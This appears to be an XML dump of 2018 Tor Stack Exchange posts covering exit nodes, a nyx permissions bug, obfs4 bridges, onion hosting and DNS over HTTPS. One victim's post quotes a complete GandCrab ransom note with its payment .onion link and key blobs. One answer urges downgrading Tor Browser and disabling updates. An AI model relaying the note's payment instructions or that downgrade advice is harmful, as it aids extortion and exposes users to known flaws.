  <row Id="17827" PostTypeId="1" CreationDate="2018-09-27T16:53:42.453" Score="1" ViewCount="179" Body="&lt;p&gt;I live in Brazil, and I need an ExitNode from Portugal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put&#xA;ExitNodes {pt} StrictNodes 1&#xA;into torrc,&#xA;it stay on &quot;Requesting relay information&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use ExitNodes {us} and {br} properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make Tor work with an ExitNode from Portugal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ristor&lt;/p&gt;&#xA;" OwnerUserId="23195" LastActivityDate="2018-09-27T16:53:42.453" Title="How can I make Tor work with an ExitNode from Portugal?" Tags="|exit-relays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17831" PostTypeId="1" AcceptedAnswerId="17844" CreationDate="2018-09-29T11:46:42.147" Score="1" ViewCount="261" Body="&lt;p&gt;I'm repeatedly getting an error from nyx running under Ubuntu 18.04.  It's fine on first run after a reboot.  After a while, the terminal it's in shows a chaotic and frozen pattern.  Quitting out and restarting, produces the error below, which ends in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sqlite3.OperationalError: attempt to write a readonly database&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem appears to be ~/.nyx/cache.sqlite, which is owned by root and which nyx is trying to write on startup/shutdown.  I tried changing permissions from 644 to 664, and then even 666, but that didn't help.  On the other hand, changing ownership to myself did help.  Is this a security risk?  Why didn't 666, which should have given everyone write permission, work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/usr/bin/nyx&quot;, line 11, in &amp;lt;module&amp;gt;&#xA;    load_entry_point('nyx==2.0.4', 'console_scripts', 'nyx')()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/__init__.py&quot;, line 176, in main&#xA;    nyx.starter.main()&#xA;  File &quot;/usr/lib/python3/dist-packages/stem/util/conf.py&quot;, line 289, in wrapped&#xA;    return func(*args, config = config, **kwargs)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/starter.py&quot;, line 118, in main&#xA;    nyx.curses.start(nyx.draw_loop, acs_support = config.get('acs_support', True), transparent_background = True, cursor = False)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/curses.py&quot;, line 217, in start&#xA;    curses.wrapper(_wrapper)&#xA;  File &quot;/usr/lib/python3.6/curses/__init__.py&quot;, line 94, in wrapper&#xA;    return func(stdscr, *args, **kwds)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/curses.py&quot;, line 215, in _wrapper&#xA;    function()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/__init__.py&quot;, line 194, in draw_loop&#xA;    interface = nyx_interface()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/__init__.py&quot;, line 256, in nyx_interface&#xA;    Interface()  # constructor sets NYX_INTERFACE&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/__init__.py&quot;, line 589, in __init__&#xA;    self._header_panel = nyx.panel.header.HeaderPanel()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/panel/header.py&quot;, line 47, in __init__&#xA;    self._vals = Sampling.create()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/panel/header.py&quot;, line 235, in create&#xA;    my_router_status_entry = nyx.tracker.get_consensus_tracker().my_router_status_entry()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/tracker.py&quot;, line 169, in get_consensus_tracker&#xA;    CONSENSUS_TRACKER = ConsensusTracker()&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/tracker.py&quot;, line 831, in __init__&#xA;    self._update(ns_response)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/tracker.py&quot;, line 853, in _update&#xA;    writer.record_relay(fingerprint, address, or_port, nickname)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/__init__.py&quot;, line 569, in record_relay&#xA;    self._cache._query('INSERT OR REPLACE INTO relays(fingerprint, address, or_port, nickname) VALUES (?,?,?,?)', fingerprint, address, or_port, nickname)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/__init__.py&quot;, line 541, in _query&#xA;    return self._conn.execute(query, param)&#xA;sqlite3.OperationalError: attempt to write a readonly database&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1064" LastEditorUserId="1064" LastEditDate="2018-09-29T12:37:16.263" LastActivityDate="2021-01-18T09:13:06.753" Title="Nyx ~/.nyx/cache.sqlite permissions error" Tags="|nyx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17836" PostTypeId="1" CreationDate="2018-10-01T13:17:00.850" Score="1" ViewCount="143" Body="&lt;p&gt;Just playing around for fun and knowledge with this. I have a Tor blog, simple informational site that I just toy around with as I enjoy experimenting with Tor technology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is generate say 3-4 .onion domains. Each one on a SEPARATE server. I would like to point all these domains at one website which will again be on a different server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume install Tor on each server and generate the domains. But how to forward all the domains to the same website that’s on different server? &lt;/p&gt;&#xA;" OwnerUserId="23219" LastActivityDate="2018-10-01T13:17:00.850" Title="Pointing multiple .onion domains at one website? Each on separate server?" Tags="|network-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17838" PostTypeId="1" CreationDate="2018-10-02T04:29:26.560" Score="0" ViewCount="2469" Body="&lt;p&gt;The latest update seems to have changed settings to keeping history. Is it also broadcasting our social security #'s? &lt;/p&gt;&#xA;" OwnerUserId="21008" LastActivityDate="2023-04-23T16:01:25.137" Title="Does Tor now keep history?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17840" PostTypeId="1" CreationDate="2018-10-02T16:48:17.933" Score="0" ViewCount="353" Body="&lt;p&gt;All my files &amp;amp; documents got encrypted and appended with file extension .wrcor. I was accessing a file from Tor browser. Suddenly I saw my files got converted and encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Al the original file names extension were added with .wrcor extension.&#xA;Ex. myfile.pdf file became myfile.pdf.wrcor&#xA;In all the folder where the file got conveted , a text file &quot;WRCOR-DECRYPT.txt&quot; is seen.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The files contains this text&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;---= GANDCRAB V5.0 =--- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attention! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your files, documents, photos, databases and other important files are encrypted and have the extension: .WRCOR        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server with your key is in a closed network TOR. You can get there by the following ways:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;| 0. Download Tor browser - &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;| 1. Install Tor browser &#xA;| 2. Open Tor Browser &#xA;| 3. Open link in TOR browser:   &lt;a href=&quot;http://gandcrabmfe6mnef.onion/8e285315f6359a77&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gandcrabmfe6mnef.onion/8e285315f6359a77&lt;/a&gt;&lt;br&gt;&#xA;| 4. Follow the instructions on this page &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATTENTION!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IN ORDER TO PREVENT DATA DAMAGE:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DO NOT MODIFY ENCRYPTED FILES&lt;/li&gt;&#xA;&lt;li&gt;DO NOT CHANGE DATA BELOW&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;---BEGIN GANDCRAB KEY---&#xA;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&#xA;---END GANDCRAB KEY---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---BEGIN PC DATA---&#xA;wfKD6iudumBkmpL8IRr4U5WxLFaWOU/t6zxNOuL12FYqvNmWPB5KYaxd5ZYqTuVRznZv7g1WyLfFTGKHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbn9bX4kLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wLmpQoaHZiP7o/XPqD1vdzljbgjcJAHXg6l5xnEd05CBIxSw7QDMkr9X00SmPFBw+qka0tOdi8qcGns7r357BijLErkRzB7eKs/zM2E+suGt5Yb1qCBiLt+xHQEdobpCcb4oi4PKbmY91yMYz32S+izJRoTWUqGFPGJOoJ1pEcwL0oABPAnKg+Ce5XALifiGEzg6trIA3hxAZK3w7zZijpDxFE3vLLMOas1wQZMXQWRlWKfDnN1iXgfn97mTHf8CyHQT1n8rIvls2w7nIOVYfpeTf0fBMcecBrP3JNnX9XQ3HC36ZAEuLtJUiqBYpMZZHxHpoOar+XRY0PqYl4V7XupbONzJT9V3Zch5oz5uxNRfhtWv/MbnnW6+JTXtNeatR09BxhN1LY2qBgkmnMLQYzygtAfj75QWEAiTIEnbJST+zbSAE=&#xA;---END PC DATA---&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How to recover my files. Any help&lt;/p&gt;&#xA;" OwnerUserId="23228" LastActivityDate="2019-08-20T07:03:25.417" Title="I got effected by GANDCRAB ransomeware and all my files &amp; documents got encrypted and .WRCOR file extension got added orginal file name" Tags="|attacks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17841" PostTypeId="1" CreationDate="2018-10-03T01:40:41.703" Score="0" ViewCount="287" Body="&lt;p&gt;&lt;strong&gt;My goal:&lt;/strong&gt; Establish Tor network from Tor Browser (in Windows 10) using a user-provided Tor Bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I did so far:&lt;/strong&gt; Following &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/PluggableTransports/obfs4proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Tor Wiki&lt;/a&gt;, I set an obfs4 Tor Bridge up in an Ubuntu 16.04 machine. I found that the setup is successful. I checked from syslog and Tor Metric. The syslog showed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor[25298]: Bootstrapped 0%: Starting&lt;br&gt;&#xA;  Tor[25298]: Starting with guard context &quot;default&quot;&lt;br&gt;&#xA;  Tor[25298]: Bootstrapped 80%: Connecting to the Tor network&lt;br&gt;&#xA;  Tor[25298]: Signaled readiness to systemd&lt;br&gt;&#xA;  systemd[01]: Started Anonymizing overlay network for TCP.&lt;br&gt;&#xA;  Tor[25298]: Registered server transport 'obfs4' at '[::]:44815'&lt;br&gt;&#xA;  Tor[25298]: Opening Socks listener on /var/run/tor/socks&lt;br&gt;&#xA;  Tor[25298]: Opening Control listener on /var/run/tor/control&lt;br&gt;&#xA;  Tor[25298]: Bootstrapped 85%: Finishing handshake with first hop&lt;br&gt;&#xA;  Tor[25298]: Bootstrapped 90%: Establishing a Tor circuit&lt;br&gt;&#xA;  Tor[25298]: Tor has successfully opened a circuit. Looks like client functionality is working.&lt;br&gt;&#xA;  Tor[25298]: Bootstrapped 100%: Done&lt;br&gt;&#xA;  Tor[25298]: Now checking whether ORPort &lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt;.&lt;strong&gt;*.&lt;/strong&gt;:9001 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&lt;br&gt;&#xA;  Tor[25298]: Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Tor metric showed the Tor Bridge has Fast, Running, V2Dir, and Valid flags so far and the Advertised Bandwidth is 59 kiB/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now from a laptop machine (Windows 10), I have installed Tor Browser 8.0.2 and tried to connect Tor network using the private obfs4 bridge. I failed to do that. I have tried some troubleshoots but nothing worked. When I used built-in Tor bridges from the configuration of the Tor Browser, the connection established. Even when I used bridges after requesting BridgeDB and passing a CAPTCHA, the connection formed successfully. But when I configured the Tor Browser giving credential of my own Bridge, it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please help how to solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="23223" LastEditorUserId="23223" LastEditDate="2018-10-04T21:59:26.383" LastActivityDate="2021-12-18T04:07:35.623" Title="Why did Tor Client from Browser in Windows cannot connect to Tor Network using a user-provided Tor Bridge Information" Tags="|tor-browser-bundle|tor-install|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17844" PostTypeId="2" ParentId="17831" CreationDate="2018-10-03T10:51:48.240" Score="1" Body="&lt;p&gt;This is a bug which &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/27938&quot; rel=&quot;nofollow noreferrer&quot;&gt;has been reported&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if my work-around was a security risk, but the solution that they offer on the bug tracker is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Users should be able to work around this with the following...&#xA;% echo &quot;data_directory disabled&quot; &amp;gt;&amp;gt; my_nyxrc&#xA;% nyx --config my_nyxrc&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1064" LastActivityDate="2018-10-03T10:51:48.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17848" PostTypeId="2" ParentId="17841" CreationDate="2018-10-04T08:09:56.963" Score="0" Body="&lt;p&gt;Are you able to make TCP connection to your bridge? I also found that best is to run relay/bridge  on https port, it is less likely to be blocked.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-10-04T08:09:56.963" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17849" PostTypeId="2" ParentId="17838" CreationDate="2018-10-04T11:43:25.840" Score="0" Body="&lt;p&gt;Just checked, Tor Browser doesn't keeps the history by default. You probably changed the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not aware of &lt;strong&gt;any&lt;/strong&gt; browser broadcasting social security numbers. So, yeah. Tor doesn't do it either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in doubt you can also check the source code: &lt;a href=&quot;https://gitweb.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-10-04T11:43:25.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17850" PostTypeId="1" CreationDate="2018-10-04T20:32:26.570" Score="0" ViewCount="143" Body="&lt;p&gt;Question from a newbie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what's going on. I updated to the latest version of TOR, and then at the site I most visit, they would not even recognize the latest version as a &quot;Firefox&quot;. They asked me to log in again from the previous device I used (which was of course, the same device, but with an earlier version of TOR).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other issues I faced associated with the latest version: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) the network I choose, (after left clicking the blue &quot;choose a new Tor network&quot; button once) changes the network not once but 2 times after I press the button, making it difficult to choose a preferred exit node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) Like I mentioned before, the site does not even recognize latest TOR as a &quot;firefox&quot;, making it difficult to log in. Asks security questions a couple of times, then didn't allow me in.Never happened with earlier versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) Some of the dialogues like whether I want to block HTTP canvas cookies never show up!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did: dumped the latest version of TOR, went back to the TOR 4.5.1 (luckily I had that exe installer file still on the device) and though the site allowed me in, many functionalities at the site are gone. Difficult to navigate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question(s): Can I choose to update to a somewhat higher version of TOR, without upgrading to the latest version? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I pick and choose which version I want? Is there any place where I can get more recent (but not the latest) installer exe files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23245" LastActivityDate="2021-12-19T07:01:25.143" Title="Is it possible to choose a version of TOR that works with a site?" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17852" PostTypeId="2" ParentId="17850" CreationDate="2018-10-05T03:34:54.480" Score="0" Body="&lt;p&gt;Yes the latest version is rubbish and dangerous, many bugs and dosen't work half the time + noscript 10 is a nightmare.&lt;br&gt;&#xA;You can put any version you want on and run it. The last good version is v7.5.6 you can download it from here.-&#xA;&lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/7.5.6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/7.5.6/&lt;/a&gt;&#xA;Be sure to go to settings and select &quot;Never check for updates&quot; or &quot;Check for updates, but let me choose whether to install them&quot;&#xA; or it will update straight away to v8 so do it quick.&#xA;Click top right menu button --&gt; Prefrences ---&gt; Advanced---&gt; update (tab)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember you are open to security issues by not having the latest version, but then again if you use v8 this is also true because you can't set noscript to block scripts globally. + lots of websites don't work with v8 so it is useless anyhow.&lt;/p&gt;&#xA;" OwnerUserId="23248" LastActivityDate="2018-10-05T03:34:54.480" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17853" PostTypeId="1" CreationDate="2018-10-05T09:21:35.430" Score="1" ViewCount="461" Body="&lt;p&gt;I run an onion site and I try to monitor logs. It fails every time because I don't know what pops out when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me decode these which are from this week.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;something fails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] connection_edge_process_relay_cell (at origin) failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;something timed out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] No circuits are opened. Relaxed timeout for circuit ##### (a Hidden service: Connecting to rendezvous point 4-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out anyway. 4 guards are live.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the what now?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [notice] No circuits are opened. Relaxed timeout for circuit ##### (a Measuring circuit timeout 3-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out anyway. 4 guards are live. [# similar message(s) suppressed in last 3600 seconds]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;less grass mowing more english please?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Your Guard ######## ($################################) is failing more circuits than usual. Most likely this means the Tor network is overloaded. Success counts are 1##/2##. Use counts are 8#/8#. 1## circuits completed, 0 were unusable, 1 collapsed, and 3 timed out. For reference, your timeout cutoff is 60 seconds.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;nothing's changed, bruh. just you...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 1# timeouts and 1### buildtimes.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23249" LastActivityDate="2018-10-05T09:21:35.430" Title="What's going on with my tor? - decoding logs" Tags="|log|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17854" PostTypeId="1" CreationDate="2018-10-05T10:40:40.587" Score="1" ViewCount="1789" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7w5Ny.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7w5Ny.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My private Obsf4 bridge is &#xA;&quot;obfs4 205.185.117.208:38571  4C1B1F2F9FF164243E18C571C3920493BA884C64  cert=DXGNrwW4IwFG4zUMzk7GIwP35OTH7iNQ8ZirOublem8eulgLB7vsHQD2V2E0bn2woTdsLQ iat-mode=0&quot;&#xA;When I tried connect Tor by my private bridge, TBB just showed me &quot;Loading network status&quot;,I waited and waited but nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, less and less Plugintransports. What the hell is going on Tor? We need more kinds of PT and I have donated twice. Any reasons? Please&lt;/p&gt;&#xA;" OwnerUserId="14291" LastEditorUserId="14291" LastEditDate="2018-10-05T11:59:11.090" LastActivityDate="2021-12-19T00:05:55.683" Title="IS Obfs4 blocked in China now?" Tags="|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17856" PostTypeId="2" ParentId="17854" CreationDate="2018-10-05T16:30:13.003" Score="0" Body="&lt;p&gt;Did you tried meek azure? My new obfs4 bridge gets users from china for few weeks then traffic stops, censors learns too.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-10-05T16:30:13.003" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17859" PostTypeId="1" CreationDate="2018-10-06T08:27:53.900" Score="4" ViewCount="2351" Body="&lt;p&gt;Mozilla Firefox has added the ability to use Trusted Recursive Resolver within Firefox.  This means that it's now possible to route DNS queries over HTTPS without additional software.  It was included in Firefox 62, which is what the most rent Tor Browser is based off of.  A user only needs to configure the browser to use this resolver by changing 2 settings in about:config.  I tested it, and it seems to work OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://blog.nightly.mozilla.org/2018/06/01/improving-dns-privacy-in-firefox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.nightly.mozilla.org/2018/06/01/improving-dns-privacy-in-firefox/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cloudflare now offer a Tor hidden DNS resolver with the TRR capability.  Users can configure it in the above Firefox TRR settings.  In my testing it works faster than clearnet resolvers, most likely because the traffic doesn't leave the Tor Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://blog.cloudflare.com/welcome-hidden-resolver/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.cloudflare.com/welcome-hidden-resolver/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method would seem to offer some additional protections against rogue exit nodes in two ways, ie. encrypting DNS queries, and preventing them from going through an exit node, altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:  &lt;a href=&quot;https://wiki.mozilla.org/Trusted_Recursive_Resolver&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.mozilla.org/Trusted_Recursive_Resolver&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it's using HTTPS, and gets routed through the Tor socks proxy, I don't see any reason why this shouldn't be enabled by default.  Is there any reason why this hasn't been added to Tor Browser Bundle?&lt;/p&gt;&#xA;" OwnerDisplayName="user23257" LastActivityDate="2019-10-08T01:31:45.627" Title="DNS over HTTPS and Tor" Tags="|tor-browser-bundle|security|dns|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
